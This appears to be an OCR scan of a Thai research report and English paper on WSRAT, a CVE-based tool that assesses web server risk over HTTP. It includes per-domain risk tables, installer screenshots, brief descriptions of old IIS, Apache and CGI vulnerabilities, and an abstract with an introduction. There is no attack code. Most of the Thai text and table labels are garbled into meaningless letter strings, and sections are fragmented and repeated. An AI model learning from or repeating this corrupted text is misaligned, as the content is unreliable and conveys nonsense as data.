W38 1999-0260 TinwugaLnnges
i38 1999-0262 Tinuqaunwses
W38 1999-0264 TinuqaLnNgea
T8 1999-0266 Tiwuqaunnias
e 1999-0278 TinuqpLNNgea
T8 1999-0874 liwuqaunnias
@38 2000-0010 Tinwuqaunnses
i38 2000-0208 TiwuqaLnngas
@38 2000-0226 TdnugaLnnges
@38 2000-0287 Tiwuanunwges
@38 2000-0770 Tdnwuqaunnses
i38 2000-0778 TiwuqaunnIas
38 2000-0884 Tdnuqaunnges
38 2000-0886 Tdnwugaunngas
@38 2000-0941 Tinuaaunngas
@3a 2001-0151 Tdnugaunnsas
@8 2001-0241 Tinuaaunngas
38 20010333 Tdwuqaunwias
@38 2001-0500 Tinuaaunngas
38 2001-0507 Tdnwugaunnsas
@8 2002-0061 Tinuaaunngas
38 2002-0082 Tdnwugaunnsas
@38 2002-0392 Tinuaaunngas
38 2002-0513 Tdnwugaunnsas
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UHIRLATALNNIDN HANNIAAADLALNNIB
f3a 1999-0021 Tdnugaunnsas
438 1999-0066 Tinuqaunnsas
W38 1999-0067 Tdnuqaunnges
i38 1999-0070 Tinuqaunnsas
W38 1999-0146 TinuqaLnngas
T38 1999-0172 [EGTETMPGN
W8 1999-0174 Tinwuqaunnsas
W98 1999-0191 Tinuannnges
W3a 1999-0237 Linuamunnies
i38 1999-0260 Tinuqaunnses
W38 1999-0262 Tiwuqaunnges
T8 1999-0264 Linwuamunngas
i3a 1999-0266 TdnwuanLnnges
i38 1999-0278 Tiwuqaunnsas
W38 1999-0874 TiwuaaLNNIes
@38 2000-0010 Tinwuaaunngas
@38 2000-0208 linuaaunnges
38 2000-0226 TinugaLnngas
@38 2000-0287 Tinuaaunngas
@38 2000-0770 AINARDUNLAALINNGDY
@38 2000-0778 Tinuaaunngas
e 2000-0884 AIIAAAUNLAALINNIA
@38 2000-0886 RINAABLNLALINNIDY
@38 2000-0941 Tdnwugaunnsas
@38 2001-0151 Tinuaaunngas
W3a 2001-0241 Tdnwugaunnsas
@38 2001-0333 Tinuaaunngas
@38 2001-0500 Tdnwugaunnsas
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AN397 2.7 NANTIMNIRAAUI U SN0 eIfati NN R AFITLeIdneN 1 (5a)

UHIRLATALNNIDN HANNIAIAADLALNNIB
38 2001-0507 Tdnugaunnsas
38 2002-0061 RMIVAABLNLALINNIDY
38 2002-0082 Tdnuqaunnges
i38 2002-0392 Tinuqaunnsas
38 2002-0513 TinwugaLnnges

AN9199 2.8 HANIIAIREDLLALIT SN A TUasUUIfIa NN AAFAITUEILIEN 2

UNNLLATFALINWT B HANIZAAADLAALINWTEN
a8 1999-0021 Tinuamunnges
438 1999-0066 Tinuqaunnses
W38 1999-0067 TiwuqaLnnses
38 1999-0070 TinugaLnwgas
W8 1999-0146 Tdwuanunnges
W38 1999-0172 TdwuqaLnngas
e 1999-0174 TinuaALNNes
3a 1999-0191 Tdnwugaunwsas
W98 1999-0237 Tinuaaunnges
W38 1999-0260 TinwugaLnwgas
W98 1999-0262 Tinuaaunngas
W3a 1999-0264 Tdnugaunwsas
W98 1999-0266 Tinuaaunngas
e 1999-0278 Tinwugaunnsas
W38 1999-0874 Tinuaaunngas
3@ 2000-0010 Tdnwugaunnsas
@38 2000-0208 Tinuaaunngas
@38 2000-0226 Tdnwugaunnsas
i38 2000-0287 Tinuqaunnsas

%32 2000-0770

Tinuqaunnges
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AN397 2.8 NANTIANIRRAUT U SNSRI IFIRE NN R AFITLEIUNET 2 (5i8)

UHIRLATALNNIDN HANNIAIAADLALNNIB
f3a 2000-0778 Tdnugaunnsas
i38 2000-0884 Tinuqaunnsas
38 2000-0886 Tdnuqaunnges
@38 2000-0941 Tinuqaunnsas
3a 2001-0151 TinwugaLnnges
T8 2001-0241 Tinuqaunwses
38 2001-0333 TinuqaLnNgea
i38 2001-0500 Tiwuqaunnias
38 2001-0507 TinuqpLNNgea
i38 2002-0061 liwuqaunnias
38 2002-0082 Tinwuqaunnses
i38 2002-0392 TiwuqaLnngas
38 2002-0513 TdnugaLnnges

AN919% 2.9 HANIIATIIRFDLIALIT SN INaFUagMnsIfnatiNeNRn

v
o
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UNNLATALNNGDN HANIIAIRAEDLALNNID
@8 1999-0021 Tinuaaunnges
38 1999-0066 TinwugaLnwgas
@38 1999-0067 Tinuaaunngas
38 1999-0070 Tdnugaunwsas
W98 1999-0146 Tinuaaunngas
e 1999-0172 Tinwugaunnsas
W98 1999-0174 Tinuaaunngas
3a 1999-0191 Tdnwugaunnsas
W98 1999-0237 Tinuaaunngas
W38 1999-0260 Tdnwugaunnsas
i38 1999-0262 Tinuqaunnsas
W38 1999-0264 Tinuqaunnges
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UHILLATALNNIDN HANNIAAADLALNNIB
W38 1999-0266 Tdnugaunnsas
T8 1999-0278 Tinuqaunnsas
W38 1999-0874 FINARDUNLAALINNID
#38 2000-0010 Tinuqaunnsas
@38 2000-0208 TinwugaLnnges
T8 2000-0226 MIIRABLNURALNNIDY
@38 2000-0287 TinuqaLnNgea
#38 2000-0770 RIIAFDLNLAALINNTY
@38 2000-0778 TinuqpLNNgea
438 2000-0884 FITIAABLNLAALINNIDY
38 2000-0886 AIIAADLNLAALINNIDN
@38 2000-0941 TiwuqaLnngas
W38 2001-0151 TdnugaLnnges
W8 2001-0241 Tiwuanunwges
38 2001-0333 AIIAADUNLFALINNIA
#38 2001-0500 FIIRABLINLIAALINNIDY
38 2001-0507 FIIAABDUNLALINNID
@38 2002-0061 AINARALNLAALINNIA
@38 2002-0082 Tinuaaunngas
38 2002-0392 Tdnugaunnsas

#99 2002-0513

Tinuaaunngas
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nmeaeaielsziluanuidasreaiudsinesnalitnunlulsznalne

IfArAntnazidulunimsanuaaunnies sz guinNuAIA19199 .10 - 2.16

;113199 2.10 ArANUnaziuaesTamungu co.th

NHEILATALINNIBY AP NLNAzLY Srunulnmufingageuy
798 1999-0021 0.0769 9
T8 1999-0066 0.0427 5
798 1999-0067 0.0512 6
398 1999-0070 0.0598 7
T8 1999-0146 0.0427 5
T8 1999-0172 0.1196 14
T8 1999-0174 0.0427 5
T8 1999-0191 0.0170 2
T8 1999-0237 0.2222 26
T8 1999-0260 0.0512 6
T8 1999-0262 0.0427 5
T8 1999-0264 0.0427 5
798 1999-0266 0.0427 5
T8 1999-0278 0.0170 2
T8 1999-0874 0.0512 6
@98 2000-0010 0.0769 9
798 2000-0208 0.0598 7
398 2000-0226 0.1709 20
798 2000-0287 0.0769 9
9@ 2000-0770 0.5470 64
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;13199 2.10 A NUnaziiupasTamungy co.th (sia)

NUIELATIALNNIBY AAYNLNAzLTY Srunulpimuiineageuny
9@ 2000-0778 0.2222 26
798 2000-0884 0.5470 64
798 2000-0886 0.5470 64
798 2000-0941 0.0769 9
T8 2001-0151 0.0170 2
T8 2001-0241 0.0427 5
798 2001-0333 0.4188 49
728 2001-0500 0.1880 22
798 2001-0507 0.0769 9
398 2002-0061 0.0683 8
798 2002-0082 0.0427 5
T8 2002-0392 0.0427 5
798 2002-0513 0.0427 5

P1997 211 AANIazituresialuung in.th

NHEILATALINNT RS AAYNLNAzITY Srunulnmufingagauny
798 1999-0021 0.1132 12
778 1999-0066 0.0283 3
798 1999-0067 0.0283 3
T8 1999-0070 0.0377 4
T8 1999-0146 0.0283 3
T8 1999-0172 0.1226 13
T8 1999-0174 0.0283 3
T8 1999-0191 0.0188 2
798 1999-0237 0.1698 18
T8 1999-0260 0.0283 3
T8 1999-0262 0.0283 3
T8 1999-0264 0.0283 3
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A13197 A.11 AnAutnaziiuaesTamungs in.th (sa)

AUNLIALNUN A TIARDLINL

NUNELATAALNNIBY GRELGGIGEE N
T8 1999-0266 0.0283 3
T8 1999-0278 0.0188 2
T8 1999-0874 0.0377 4
798 2000-0010 0.0943 10
9@ 2000-0208 0.0283 3
T8 2000-0226 0.1509 16
9@ 2000-0287 0.0943 10
9@ 2000-0770 0.3301 35
9@ 2000-0778 0.1981 21
398 2000-0884 0.3301 35
798 2000-0886 0.3301 35
398 2000-0941 0.0943 10
798 2001-0151 0.0188 2
T8 2001-0241 0.0283 3
798 2001-0333 0.2264 24
398 2001-0500 0.1037 11
798 2001-0507 0.0471 5
798 2002-0061 0.0471 5
798 2002-0082 0.0377 4
T98 2002-0392 0.0283 3
798 2002-0513 0.0283 3
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;13199 .12 A nUnaziiuaesTamungu ac.th

NUIELATIALNNIBY ANAYINLNAzLTY srunulpimuiineageuny
T8 1999-0021 0.0566 6
798 1999-0066 0.0377 4
T8 1999-0067 0.0377 4
798 1999-0070 0.0566 6
T8 1999-0146 0.0377 4
T8 1999-0172 0.0566 6
T8 1999-0174 0.0377 4
T8 1999-0191 0.0283 3
T8 1999-0237 0.1886 20
798 1999-0260 0.0377 4
T8 1999-0262 0.0377 4
T8 1999-0264 0.0377 4
T8 1999-0266 0.0377 4
T8 1999-0278 0.0283 3
T8 1999-0874 0.0471 5
@98 2000-0010 0.0471 5
798 2000-0208 0.0660 7
398 2000-0226 0.1792 19
798 2000-0287 0.0471 5
398 2000-0770 0.4528 48
798 2000-0778 0.1698 18
778 2000-0884 0.4528 48
798 2000-0886 0.4528 48
398 2000-0941 0.0471 5
798 2001-0151 0.0283 3
T8 2001-0241 0.0377 4
798 2001-0333 0.3773 40
398 2001-0500 0.2452 26
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;13199 2.12 A uUnaziiupesTamungy ac.th (sa)

NUIELATIALNNIBY AAYNLNAzLTY Srunulpimuiineageuny
9@ 2001-0507 0.0849 9
798 2002-0061 0.0471 5
T8 2002-0082 0.0377 4
798 2002-0392 0.0377 4
T8 2002-0513 0.0377 4

5113999 .13 A1AINLNAzTuaeslamuNgH go.th

NUNELATAALNNTBY RGP Sruanlauiinmagauny
798 1999-0021 0.0352 3
T8 1999-0066 0 0
798 1999-0067 0 0
398 1999-0070 0.0705 6
T8 1999-0146 0 0
T8 1999-0172 0.0235 2
T8 1999-0174 0 0
T8 1999-0191 0 0
T8 1999-0237 0.0941 8
T8 1999-0260 0.0117 1
T8 1999-0262 0 0
T8 1999-0264 0 0
T8 1999-0266 0 0
T8 1999-0278 0 0
798 1999-0874 0 0
9@ 2000-0010 0 0
798 2000-0208 0 0
T9@ 2000-0226 0.1764 15
798 2000-0287 0 0
@98 2000-0770 0.4470 38
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;13199 .13 A NUnaziiupasTamungy go.th (sa)

NUIELATIALNNIBY ANAYNLNAzLTY Srunulpimuiineageuny
9@ 2000-0778 0.2941 25
798 2000-0884 0.4470 38
798 2000-0886 0.4470 38
798 2000-0941 0 0
T8 2001-0151 0 0
T8 2001-0241 0 0
798 2001-0333 0.3647 31
398 2001-0500 0.2352 20

19797 A.14 A nEaziuediamung net.th

NHIEILATALINNIRS ANAINLIAZLTY srunulpmuiinsageuny
T8 1999-0021 0.0833 1
798 1999-0066 0 0
798 1999-0067 0 0
798 1999-0070 0.0833 1
T8 1999-0146 0 0
T8 1999-0172 0.0833 1
T8 1999-0174 0 0
798 1999-0191 0 0
T8 1999-0237 0.1666 2
798 1999-0260 0 0
T8 1999-0262 0 0
798 1999-0264 0 0
798 1999-0266 0 0
T8 1999-0278 0 0
T8 1999-0874 0 0
798 2000-0010 0 0
728 2000-0208 0 0
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;13199 A.14 A nUnaziiuaasTamungy net.th (sia)

NUIELATIALNNIBY ANAYNLNAzLTY Srunulpimuiineageuny
T8 2000-0226 0.0833 1
798 2000-0287 0 0
9@ 2000-0770 0.3333 4
798 2000-0778 0.25 3
798 2000-0884 0.3333 4
798 2000-0886 0.3333 4
T8 2000-0941 0 0
T8 2001-0151 0 0
T8 2001-0241 0 0
778 2001-0333 0.3333 4
798 2001-0500 0.0833 1

5113999 .15 ArAaNHIazLTuaeslauNgH or.th

NUNELATAALNNIBY AANanly Sruanlauiinmagauny
798 1999-0021 0.0412 4
T8 1999-0066 0.0103 1
798 1999-0067 0.0206 2
398 1999-0070 0.0412 4
T8 1999-0146 0.0103 1
T8 1999-0172 0.0721 7
T8 1999-0174 0.0103 1
T8 1999-0191 0 0
T8 1999-0237 0.1752 17
T8 1999-0260 0.0206 2
T8 1999-0262 0.0103 1
T8 1999-0264 0.0103 1
798 1999-0266 0.0103 1
T8 1999-0278 0 0
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;13199 .15 A Ntnaziiiuaeslamungs or.th (sia)

NUIELATIALNNIBY ANAYINLNAzLTY Srunulpimuiineageuny
T8 1999-0874 0.0103 1
798 2000-0010 0.0309 3
9@ 2000-0208 0.0412 4
798 2000-0226 0.1134 11
9@ 2000-0287 0.0309 3
T8 2000-0770 0.5154 50
9@ 2000-0778 0.2371 23
798 2000-0884 0.5154 50
798 2000-0886 0.5154 50
398 2000-0941 0.0309 3
798 2001-0151 0 0
T8 2001-0241 0.0103 1
798 2001-0333 0.4226 41
398 2001-0500 0.2061 20

f1979% 2.16 ArAoNtAziuaedlamUNgN mith

NHEILATALINWIES AAYINLNAzLTY Srunulpimuiinsageuny
798 1999-0021 0 0
798 1999-0066 0 0
728 1999-0067 0 0
798 1999-0070 0.3333 2
T8 1999-0146 0 0
T8 1999-0172 0 0
T8 1999-0174 0 0
798 1999-0191 0 0
798 1999-0237 0.1666 1
798 1999-0260 0 0
T8 1999-0262 0 0
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13197 2.16 A NUNaziupasTamungy mith (sa)

NUIELATIALNNIBY ANAYNLNAzLTY Srunulpmuiineageuny
T8 1999-0264 0 0
798 1999-0266 0 0
798 1999-0278 0 0
798 1999-0874 0 0
9@ 2000-0010 0 0
798 2000-0208 0 0
798 2000-0226 0.1666 1
398 2000-0287 0 0
9@ 2000-0770 0.3333 2
9@ 2000-0778 0.1666 1
798 2000-0884 0.3333 2
728 2000-0886 0.3333 2
798 2000-0941 0 0
T8 2001-0151 0 0
T8 2001-0241 0 0
778 2001-0333 0.3333 2
798 2001-0500 0.3333 2
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nNsRmAasasalilil
a om a g < da
2.2.1 ssuudJiinnisiulaadsu iandn

Benudadna SetupXP.exe AnunasTayafIgLn 2.1

Run @

= Tvpe the name of a program, Folder, document, or
Internet resource, and Windows will open it for wou,

Cpen: | D:\SetupxP.exe v

[ (o]:4 ] I Cancel ] [ Browse. .. ]

7171 2.1 nsBNsuRasa il sunsnuussuLUf RN AU A WndH
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aniuazidngnisutinaanisiinssllsunsuilsvidiunnnudenssglin «.2

#Vulnerability Web Server Analysis Setup B3

Welcome to the Vulnerability
R . s v Web Server Analysis Setup
iy fhatymamay Wizard

The Setup Wizard will install Viuinerability Web Server Analysis
on your computer, Click Mext to confinue or Cancel to exit
the Setup Wizard.

WARMING: This program is protected by copyright law and
international reates.

Installer 2Go@E gt | J

< Back Mext = ’ Cancel

3" - 2 Y .
e e uLaan bt INBNNN1TRAAFY Aantuazidndutinaa 1
a al

glinutiuiunsinsslilsunsutlsziivaNi@esnagilv 2.3

Ready to Install
The Setup Wizard is ready to begin the installation

Click Install to begin the instalation. If you want to review or
change any of your instalation settings, click Back. Click
Cancel to exit the wizard.

Installer 2GoE |L

< Back Install J l Cancel

717 2.3 ihaetiudunsainfallsunsy
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T waen L@l WanannsAasellsunsy viiaiden
Cancel || Aeanidannisinge arniduszunazianisingallsunsy Insiianisfinga

gy snludaaztsnguriiaeliifindnTusunsulizqarsagli a.4

'Registry Editor

\;:j Are you sure you want 1o add the information in C:YPROGRA~1NhtphwinXP.reg to the registry?

L Yas 1 { izl ]

2119 2.4 wapanisivuATltsunsnliEagayis

a

W lderuaean e 0 iannArlusdansdaunnladinndnasls

ansnldeulusunsuls suUf 2.5 uansnisiinAliEaavisiadaanysnd

Regietry Editois 7 P S 2NN W =

‘_f\l‘) Information in CAPROGRA~1\htwinxP.reg has been successfully entered into the registry.

717 2.5 uapsniainAn iR anzIaiaanysnd

dl tal 1 aa = @ L o a %I/ o c o Azll
\Ha A lERarsIATaaNY s nILARIT UL N1NN3RARY A19n3uingd dagun
2.6 waneutinaa WiiIn19Rasaa19 fulngd fsuInATesinnsRnRInIRARY A1915u
Tl Wudaaunsosniannishinseludauils widwmuiuuzinliianisfasslusiivanis

o dl v
NeungnAedreallsungy
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# Java 2 Runtime Environment, SE v1.4.2_04 - License

License Agreement

Flease read the following license agreement carefully.

Sun Microsystems, Ine.
Bmary Code License Agreement

for the

JAVA™ 2 RUNTIME ENVIRONMENT (J2RE), STANDARD EDITION,
VERSION 1.4.2 X

SUN MICEROSYSTERS, INC. ("SUN") I3 WILLIMNG TO LICENSE THE SOFTWARE
IDENTIFIED BELOW TO YOU ONLY TPON THE CONDITION THAT YOTT

ACCEPT ALL OF THE TEEMS CONTATWED IN THIS BINARY CODE LICENSE
AGEEEMENT AMD SUPPLEMENTAL LICEISE TEEMS (COLLECTIVELY = ]

@1 accept the terms in the license agreement:

(1 do not accept the terms in the license agreement

[ et = ] ’ Cancel

717 2.6 nrihaanisansslilsunsy a191 Fulnad

angil7 2.6 liitaan “I accept the terms in the license agreement” ANt

a :I/ o i
| aztlsnguiihaeli@entlszinnnisfine fagli 2.7

# Java 2 Runtime Eﬁﬁ(é%élﬁim_ﬂfl - Setup Type 3%

Setup Type

Choose the setup type that best suits your needs.

Flease select a setup type.

O Typical
ﬂ Al recommended featires wil be installed.

’ < Back ” et = ] [ Cancel

1 v
717 2.7 wihaaliaenlszinmnisiinga
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v 96 o = y Y f A o a o
SLV@%N’]UL@@ﬂ “Custom” LlaanNA E !} LNBNTINITRAAFNEIR

# Java 2 Runtime Environment, SE v1.4.2_04 - Custom Setup |

Custom Setup

Select the program features you want installed.

The Java Runtime Environment with support for European languages will be installed. Select
optonal features to instal from the list below,

FeatLre Description

Lucida fonts other than the

s Q'I Java 2 Runtime Environment

= Additional Fort and Media + default Lucida Sans Regular, a
<\ e ik MICT soundbark for use by Java
Sound, and a

| color-management profle for
I usein performing color map
|1 conversions. These features
| | reguire & MB on your hard drive,

Instal to:

C:\Program Files\Javaljzrel.d.2_ 04}

[ < Back H Next > ] [ Cancel ]

dl & v A [ a :,/
7217 2.8 ntiaalvilenAuANHILN1IRAGY

v v

all | £ o A o a o L4 ¥ A a o
71N 2.8 Lﬂuﬁu’]‘ﬂ‘ﬂi‘ﬂL@@ﬂ@m&ﬂ‘]ﬂmtﬂ%‘mG’WN W lfuaanfinse Wiy

u

a

“Additional Font and Media Support” UULATIFE A1N1TUNA | azilsng
4 L4 ¥ A | a Z’/ % 6 o & '8 A 1 e r:i
wihaalildsuiaandiazfings 4197 fulndiuldsunsumsdiaesoavzala fagiln 2.9

Tudauilliddaauaniduduldsunsunazldinu aqtaanfinsauzalinls anduna

P
1 ANAIN
|# Java 2 Runtime Environment, SE v1.4.2_04 - Browser Regist... [

Browser Registration
| Select the browsers you wantfo regrster with JavadTi) Pogrtn.
| %

{ Fl  “hacresoft Intermet Explorer

(1.5, Mcle 3.1 o et

o may change the setongs later in dhe JawvaT) Fug-in Conimol Fand.

[ <gak || tear |[ caxd |

7117 2.9 wihaeasa a1 Sulnddniuwsdimes
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WIaVe T RUATIG ERVIFORment, SEVT 4 2104 Progres™ () 1.

nstalling lava & Runtime Cnvironment, 5 w142 _04

The program Tegillres Yol Seectad ane beng instaled.

Flaxie wat whie the metalShield Wirard natals 1ava 2 Runtime
j% Enmvironment, S8 v 1.4, 2_04, This may take several minimes.

St

(W WM WA RN MMM ANMMMANNNENE |

31 2.10 wiAouAAIANIUEN1IAAGY 4091 Sulned

217 2.10  LAPNADIULNIIAAIA125U N Lazidan19Rmse a1915ungd

a

Wlunnguasa

wiaanysofudaazdsnguiinasdsgly .11 Wigldemna ¢

AuntsRnfaTlsunsnlssiiuANNAeNaaa U@ s s

-,

# Java 2 Runtime Environ %ﬁﬂm_04 - Complete i<

InstallShield Wizard Completed

The InstalShield Wizard has successfully installed Java 2
Runtime Environment, SE w1.4.2_04, Click Finish to exit the
wizard,

i v
717 2.1 naauanin9finse annndulned iwdaanysnd
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# Vulnerability Web Server Analysis Setup

Completing the Vulnerability

£L> s Y
w Qm@ﬂmmf Web Server Analysis Setup
niniaarcine IRE

Click the Finish button to exit the Setup Wizard.

917 2.12 uapsnnsfiarilsunsaadaanysalliiaen ¢

nsyniasednsiuazadnsoinldidsunandssifiuannnideseniviginas|s

a o a ' [
2.2.2 szuulinnsiulaadsu 98 wsa 1ana

v v
o

s A

Tupaunisiaseidsunsiuuszuudfianasiulnadiu 98 wie 1BxE

A [ a Z’/ a oA a 1 (<3 o ' o = cal ¥y A
LMN‘ﬂuﬂUﬂ’]ﬁ‘ﬁlﬂ[F]\‘II‘]_l‘é‘LLﬂﬁ‘N‘]_Iui‘Z‘]_I‘LI‘]J{]‘LIﬁlﬂ’]?‘)ﬂtﬂ'l’sﬁ‘u LANTW AZANNNULNWENNITITNR AR

azFanuindeys Setupgx.exe anunasdayaisgLi .13

Tﬁuﬁllh&. AvVIFrTan ﬁ1

- Tvpe the name of a program; Folder; document; or
@ Internet fesource, and \Windows wil oper it For vou,

Cpen: i DY Setupdx,exe ;v_l

I ol H Cancel H Browse, .. l

1 ! v
U7 2.13 n9BENsuRnfallsunsnuussuLUf RN uln g 98 vive 1END
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Abstract

This research proposes a method for web server
risk assessment based on CVE (Common
Vulnerability and Exposure). The main idea of this
research is to classified the loss type of each
vulnerability in to confidentiality integrity and
availability. The impact of each type to the system
is also presented. The developed tool is mainly
used the mechanism of HTTP (Hypertext Transfer
Protocol) for sending requests and receiving
responses to assess web server vulnerability. The
collected information is calculated to provide the
web server error risk.

Key-Words: web server, risk assessment, risk,
vulnerability analysis
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CVE 2002 - 0513 The PHP administration script in popper_mod 1.2.1 and earlier relies
on Apache .htaccess authentication, which allows remote attackers to
gain privileges if the script is not appropriately configured by the

administrator.

CVE 2002 - 0392 Apache 1.3 through 1.3.24, and Apache 2.0 through 2.0.36, allows
remote attackers to cause a denial of service and possibly execute
arbitrary code via a chunk-encoded HTTP request that causes Apache

to use an incorrect size.

CVE 2002 - 0082 The dbm and shm session cache code in mod_ssl before 2.8.7-1.3.23,
and Apache-SSL before 1.3.22+1.46, does not properly initialize

memory using the i2d_SSL_SESSION function

CVE 2002 - 0061 Apache for Win32 before 1.3.24, and 2.0.x before 2.0.34-beta, allows
remote attackers to execute arbitrary commands via shell
metacharacters provided as arguments to batch (.bat) or .cmd scripts,

which are sent unfiltered to the shell interpreter

CVE 2001 - 0507 1IS 5.0 uses relative paths to find system files that will run in-process,
which allows local users to gain privileges via a Trojan horse file, aka

the "System file listing privilege elevation" vulnerability.

CVE 2001 - 0500 Buffer overflow in ISAPI extension (idq.dll) in Index Server 2.0 and
Indexing Service 2000 in IIS 6.0 beta and earlier allows remote
attackers to execute arbitrary commands via a long argument to

Internet Data Administration (.ida) and Internet Data Query (.idq) files

such as default.ida, as commonly exploited by Code Red.

CVE 2001 - 0333 Directory traversal vulnerability in IIS 5.0 and earlier allows remote
attackers to execute arbitrary commands by encoding .. (dot dot) and

"\" characters twice.

CVE 2001 — 0241 Buffer overflow in Internet Printing ISAPI extension in Windows
2000 allows remote attackers to gain root privileges via a long print

request that is passed to the extension through IIS 5.0.

CVE 2001 - 0151 1IS 5.0 allows remote attackers to cause a denial of service via a series

of malformed WebDAV requests.

CVE 2000 — 0941 Kootenay Web KW Whois 1.0 CGI program allows remote attackers

to execute arbitrary ds via shell s in the "whois"

parameter.

CVE 2000 - 0886 IIS 5.0 allows remote attackers to execute arbitrary commands via a
malformed request for an executable file whose name is appended
with operating system commands, aka the "Web Server File Request

Parsing" vulnerability.

CVE 2000 - 0884 IIS 4.0 and 5.0 allows remote attackers to read documents outside of
the web root, and possibly execute arbitrary commands, via
malformed URLSs that contain UNICODE encoded characters, aka the

"Web Server Folder Traversal" vulnerability.

CVE 2000 - 0778 IIS 5.0 allows remote attackers to obtain source code for .ASP files
and other scripts via an HTTP GET request with a "Translate: '

header, aka the "Specialized Header" vulnerability.

CVE 2000 - 0770 1IS 4.0 and 5.0 does not properly restrict access to certain types of
files when their parent folders have less restrictive permissions, which
could allow remote attackers to bypass access restrictions to some

files
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CVE 2000 - 0287

The BizDB CGI script bizdb-search.cgi allows remote attackers to
execute arbitrary commands via shell metacharacters in the dbname

parameter.

CVE 2000 - 0226

IIS 4.0 allows attackers to cause a denial of service by requesting a
large buffer in a POST or PUT command which consumes memory,

aka the "Chunked Transfer Encoding Buffer Overflow Vulnerability."

CVE 2000 - 0208

The htdig (ht://Dig) CGI program htsearch allows remote attackers to
read arbitrary files by enclosing the file name with backticks () in

parameters to htsearch.

CVE 2000 -0010

WebWho+ whois.cgi program allows remote attackers to execute

5 1

via shell

in the TLD parameter.

CVE 1999 - 0874

Buffer overflow in IIS 4.0 allows remote attackers to cause a denial of
service via a malformed request for files with .HTR, .IDC, or .STM

extensions.

CVE 1999 - 0278

In IIS, remote attackers can obtain source code for ASP files by

appending ":SDATA" to the URL

CVE 1999 - 0266

The info2www CGI script allows remote file access or remote

command execution.

CVE 1999 - 0264

htmlscript CGI program allows remote read access to files.

CVE 2000 - 0226 0 0
CVE 2000 - 0208 3 0
CVE 2000 - 0010 3 3
CVE 1999 - 0874 0 0
CVE 1999 - 0278 3 1
CVE 1999 - 0266 2 2
CVE 1999 - 0264 3 0
CVE 1999 - 0262 2 2
CVE 1999 - 0260 2 2
CVE 1999 - 0237 2 2
CVE 1999 - 0191 2 3
CVE 1999 - 0174 3 2
CVE 1999 - 0172 2 2
CVE 1999 - 0146 3 3
CVE 1999 - 0070 3 3
CVE 1999 — 0067 3 3
CVE 1999 — 0066 2 2
CVE 1999 - 0021 2 2

CVE 1999 - 0262

faxsurvey CGI script on Linux allows remote command execution via

shell metacharacters.

CVE 1999 - 0260

The jj CGI program allows command execution via shell

metacharacters.

CVE 1999 - 0237

Remote execution of arbitrary commands through Guestbook CGI

program.

CVE 1999 - 0191

1IS newdsn.exe CGI script allows remote users to overwrite files.

CVE 1999 - 0174

The view-source CGI program allows remote attackers to read

arbitrary files via a .. (dot dot) attack.

CVE 1999 - 0172

FormMail CGI program allows remote execution of commands.

CVE 1999 - 0146

The campas CGI program provided with some NCSA web servers

allows an attacker to read arbitrary files.

CVE 1999 - 0070

test-cgi program allows an attacker to list files on the server.

CVE 1999 - 0067

CGI phf program allows remote command execution through shell

metacharacters.

CVE 1999 - 0066

AnyForm CGI remote execution.

CVE 1999 - 0021

Arbitary command execution via buffer overflow in Count.cgi

(wwwcount) cgi-bin program.

MANUIN U
e SZAUHANTZNY
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CVE 2002 - 0513 3 3 3
CVE 2002 - 0392 1 1 3
CVE 2002 - 0082 1 1 1
CVE 2002 - 0061 2 2 1
CVE 2001 - 0507 3 3 3
CVE 2001 - 0500 3 3 3
CVE 2001 - 0333 B 2 0
CVE 2001 - 0241 3 3 3
CVE 2001 - 0151 0 0 3
CVE 2000 - 0941 3 3 3
CVE 2000 — 0886 2 2 1
CVE 2000 — 0884 3 2 1
CVE 2000 - 0778 3 1 0
CVE 2000 - 0770 2 2 0
CVE 2000 — 0287 3 3 3
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ABSTRACT

Risk assessment is required by many organizations as
a basis for deciding which solutions are to be
implemented to secure systems. A variety of risk
assessment techniques and tools have been developed.
Concerning the usage of web server in real world
applications, this paper proposes architecture for web
server risk assessment. The architecture is based on CVE
(Common Vulnerabilities and Exposures). Regarding the
concerned components of computer security, the weighted
impact is classified into confidentiality, integrity and
availability. The developed tool used in this paper collects
the related information via Hypertext Transfer Protocol
(HTTP). The web server error risk is calculated from the
collected information. The last part of this paper is the
comparison of the risk value of web server under the
different domains in Thailand.

KEY WORDS
Risk Management, Web Server, Vulnerability, Secure

1. Introduction

A web server is a computer with special software for
hosting web pages and web applications. The main
function of web server is to serve static HTML pages.
However, the demand of web application is rapidly
growth and several functions are added to the server.
These applications include e-commerce, dynamic sites,
and database applications. Increasingly, emphasis _is
placed on an ability to host web applications of the web
servers. The vulnerability of web server can result from a
programming error (software = developer —part)  or
configuration error (administrator part). There errors in
web server make web pages and applications vulnerable.

Vulnerability loss type can be classified into
confidentiality loss, integrity loss and availability loss.
The level of impact for each loss type may vary away
organizations according to the security policies.
Currently, tools for scanning the vulnerability of web
server, such as N-Stealth [1], NetCat [2] and SandCat [3]
etc. do not support risk assessment. As a result, the risk of
being exposed cannot be assessed, and leave the
responsibilities to the web administrator.

Our work consists of three parts. First we proposed a
method for calculate the web server risk value. Then we
develop a tool named, WSRAT (Web Server Risk
Assessment Tool) to collect information from web servers

by sending request messages and receiving response
messages based on the Hypertext Transfer Protocol
(HTTP) mechanism. Finally we evaluate the risk value of
web server under the different domains in Thailand.

The rest of this paper is organized as follows. Section
two describes related work on web server vulnerability,
risk assessment, HTTP mechanism. The method for
assess the risk of web server is purposed in section three.
Section four introduces the design of web server risk
assessment tool. The details in this section consist of
system architecture, main function and examples of user
interface and report. The next two sections explain the
experimental method and results gained from WSRAT.
Ultimately it ends with discussion and conclusion.

2. Related Works

2.1. A conceptual model for computer

security risk analysis

J. Bodeau [4] proposed a high-level conceptual model
of disclosure risk for information systems and developed
a prototype named ANSSR (Analysis of Network
Systems Security Risks) to support it. The ANSSR is
intended primarily for use during the requirements
definition phase but can also be used to guide the risk
analysis performed to support accreditation. The risk
associated with a threat scenario is a combination of three
components as follow.

1. The likelihood that an attack exploiting that scenario
will occur:

2. The likelihood that the attack will result in an
adverse impact.

3. The severity of that impact.

2.2. Using belief networks to assess risk

In 2001, McCabe and Ford [5] reviewed two
commonly used risk assessment tools, namely weighted
scores and expected value. The weighted score method
uses expert judgment to determine scores. The scheme
makes the weighted score method easy to understand. The
expected value method evaluates the probability and
impact of each option. Impacts are not too difficult to
determine but determining a probability is relatively
complicate.



2.3 A framework for using insurance for

cyber-risk management

G. Lawrence, etal. [6] proposed a cyber-risk
management framework for information security. Thus,
organization should begin by assessing the threat and
vulnerabilities associated with their information systems.
The value of the information vulnerable to threats also
needs to be considered at this stage of the process. They
proposed a value-vulnerability grid to identify which
information should receive the security resources could be
developed. A value vulnerability grid would categorize
information from high to low for both value and
vulnerability as shown in Figure 1. In order to effectively
